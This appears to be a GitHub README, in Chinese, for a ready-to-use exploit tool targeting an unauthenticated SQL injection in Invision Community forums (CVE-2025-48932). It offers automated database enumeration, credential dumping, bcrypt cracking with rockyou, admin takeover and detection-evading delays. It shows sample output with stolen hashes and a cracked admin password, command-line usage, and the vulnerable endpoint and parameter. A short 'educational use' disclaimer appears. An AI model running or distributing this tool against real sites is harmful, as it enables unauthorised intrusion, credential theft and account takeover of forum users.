cerberusmrxi/cve-2025-48932-invision-community-sqli-exploitCVE-2025-48932 - 针对 Invision Community ≤ 4.7.20 的未认证 SQL 注入漏洞利用工具。全自动利用，支持数据库枚举、凭据转储、管理员接管、会话劫持及多线程。无需任何依赖。由 Sudeepa Wanigarathna 开发的安全研究工具。
CVE-2025-48932 是 Invision Community 版本 ≤ 4.7.20 中存在的一个严重未认证盲 SQL 注入漏洞。该漏洞利用工具允许远程攻击者：
| 功能 | 描述 | 状态 |
|---|---|---|
| 🚀 零依赖 | 纯 Python 标准库——无需 pip 安装 | ✅ |
| ⚡ 多线程 | 可配置线程数的极速数据提取 | ✅ |
| 🤖 全自动化 | 从检测到报告的完整利用链 | ✅ |
| 👑 管理员接管 | 会话劫持与权限提升 | ✅ |
| 🔑 凭据转储 | 提取用户、密码哈希与电子邮件 | ✅ |
| 🔓 密码破解 | 内置哈希破解，支持字典 | ✅ |
| 📋 JSON 报告 | 用于分析与文档的结构化输出 | ✅ |
| 🔌 代理支持 | Burp Suite 与自定义代理集成 | ✅ |
| 🎨 彩色输出 | 带进度指示器的美观终端输出 | ✅ |
| 🛡️ 速率限制 | 内置延迟以避免被检测 | ✅ |
$ python3 exploit.py -u https://vulnerable-site.com -v
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2025-48932 - Invision Community SQL Injection ║
║ Author: Sudeepa Wanigarathna ║
║ Critical: Unauthenticated Remote Code Execution ║
╚══════════════════════════════════════════════════════════════════╝
[*] Target: https://vulnerable-site.com
[*] Performing vulnerability assessment...
[+] Target is confirmed VULNERABLE!
[*] Enumerating database information...
[+] Database Information:
Version: 10.4.32-MariaDB
User: invision@localhost
Database: invision_community
Hostname: localhost
Basedir: /usr/
Datadir: /var/lib/mysql/
[*] Enumerating databases...
[+] Found 5 databases
Found: information_schema
Found: invision_community
Found: mysql
Found: performance_schema
Found: phpmyadmin
[*] Enumerating tables in invision_community...
[+] Found 12 tables
Found: core_members
Found: core_sessions
Found: admin_members
Found: cms_categories
Found: forums_posts
...
[*] Searching for credentials...
[+] Found credential table: core_members
Credentials: admin - $2y$10$abcdefghijklmnopqrstuvwxyz...
Credentials: moderator - $2y$10$1234567890abcdefghijklmnop...
Credentials: user123 - $2y$10$qwertyuiopasdfghjklzxcvbnm...
[*] Extracting admin information...
[+] Admin Information Found:
name: admin
email: [email protected]
id: 1
password_hash: $2y$10$abcdefghijklmnopqrstuvwxyz...
[*] Attempting to crack password hash...
[+] Detected hash type: bcrypt
[+] Password cracked: Admin@2024!
[*] Attempting admin bypass...
[+] Admin login successful!
[+] Credentials: admin:Admin@2024!
[+] Exploitation complete!
[+] Report saved to invision_exploit_report_1700000000.json
{
"target": "https://vulnerable-site.com",
"timestamp": "2026-08-02T12:34:56.789Z",
"vulnerable": true,
"database": {
"version": "10.4.32-MariaDB",
"user": "invision@localhost",
"database": "invision_community",
"hostname": "localhost"
},
"databases": [
"information_schema",
"invision_community",
"mysql",
"performance_schema",
"phpmyadmin"
],
"tables": [
"core_members",
"core_sessions",
"admin_members"
],
"credentials": [
{
"username": "admin",
"password_hash": "$2y$10$abcdefghijklmnopqrstuvwxyz...",
"email": "[email protected]"
}
],
"admin_info": {
"name": "admin",
"email": "[email protected]",
"id": "1",
"password_hash": "$2y$10$abcdefghijklmnopqrstuvwxyz..."
},
"summary": {
"total_databases": 5,
"total_tables": 12,
"total_credentials": 3,
"vulnerable": true,
"successful": true
}
}
# 克隆仓库
git clone https://github.com/CerberusMrXi/CVE-2025-48932-Invision-Community-SQLi-Exploit.git
cd CVE-2025-48932-Invision-Community-SQLi-Exploit
# 无需安装任何依赖！直接运行即可。
# 检测目标是否存在漏洞
python3 exploit.py -u https://example.com --check-only
# 完整漏洞利用并输出详细信息
python3 exploit.py -u https://example.com -v
# 使用代理（Burp Suite）
python3 exploit.py -u https://example.com -p http://127.0.0.1:8080 -v
# 将结果保存到自定义文件
python3 exploit.py -u https://example.com -o results.json
# 多线程提取（更快）
python3 exploit.py -u https://example.com -t 10
# 转储所有可用数据
python3 exploit.py -u https://example.com --dump-all
# 使用自定义字典进行密码破解
python3 exploit.py -u https://example.com --wordlist rockyou.txt -v
# 静默模式（无输出，仅生成报告）
python3 exploit.py -u https://example.com -o silent_report.json
# 调试模式，输出详细的错误信息
python3 exploit.py -u https://example.com -v --debug
✅ 无外部依赖！
✅ 仅需纯 Python 标准库！
✅ 无需 pip 安装或虚拟环境！
# 下载常用字典
wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
/applications/calendar/modules/front/calendar/view.phpIPS\calendar\modules\front\calendar\view::search()location（用户提供的输入）GET /applications/calendar/modules/front/calendar/view.php?do=search&location=[SQL_INJECTION_PAYLOAD]
本工具仅用于教育和授权测试目的。
使用本工具即表示您同意：
未经授权访问计算机系统是非法且不道德的。
| 参数 | 描述 | 示例 |
|---|---|---|
-u, --url | 目标 URL（必填） | -u https://example.com |
-p, --proxy | 代理 URL | -p http://127.0.0.1:8080 |
-t, --threads | 线程数（默认：5） | -t 10 |
-o, --output | 结果输出文件 | -o results.json |
-v, --verbose | 启用详细输出 | -v |
--check-only | 仅检测漏洞 | --check-only |
--dump-all | 转储所有可用数据 | --dump-all |
--wordlist | 用于破解的字典文件 | --wordlist rockyou.txt |
invision_exploit_report_[timestamp].json
├── target # 目标 URL
├── timestamp # 漏洞利用时间戳
├── vulnerable # 漏洞状态
├── database # 数据库信息
├── databases # 数据库列表
├── tables # 数据表列表
├── credentials # 提取的凭据
├── admin_info # 管理员用户信息
└── summary # 漏洞利用摘要
问题：连接超时
# 解决方案：增加超时时间或检查网络
python3 exploit.py -u https://example.com --timeout 60
问题：SSL 证书错误
# 解决方案：禁用 SSL 验证（不建议在生产环境中使用）
python3 exploit.py -u https://example.com --no-verify-ssl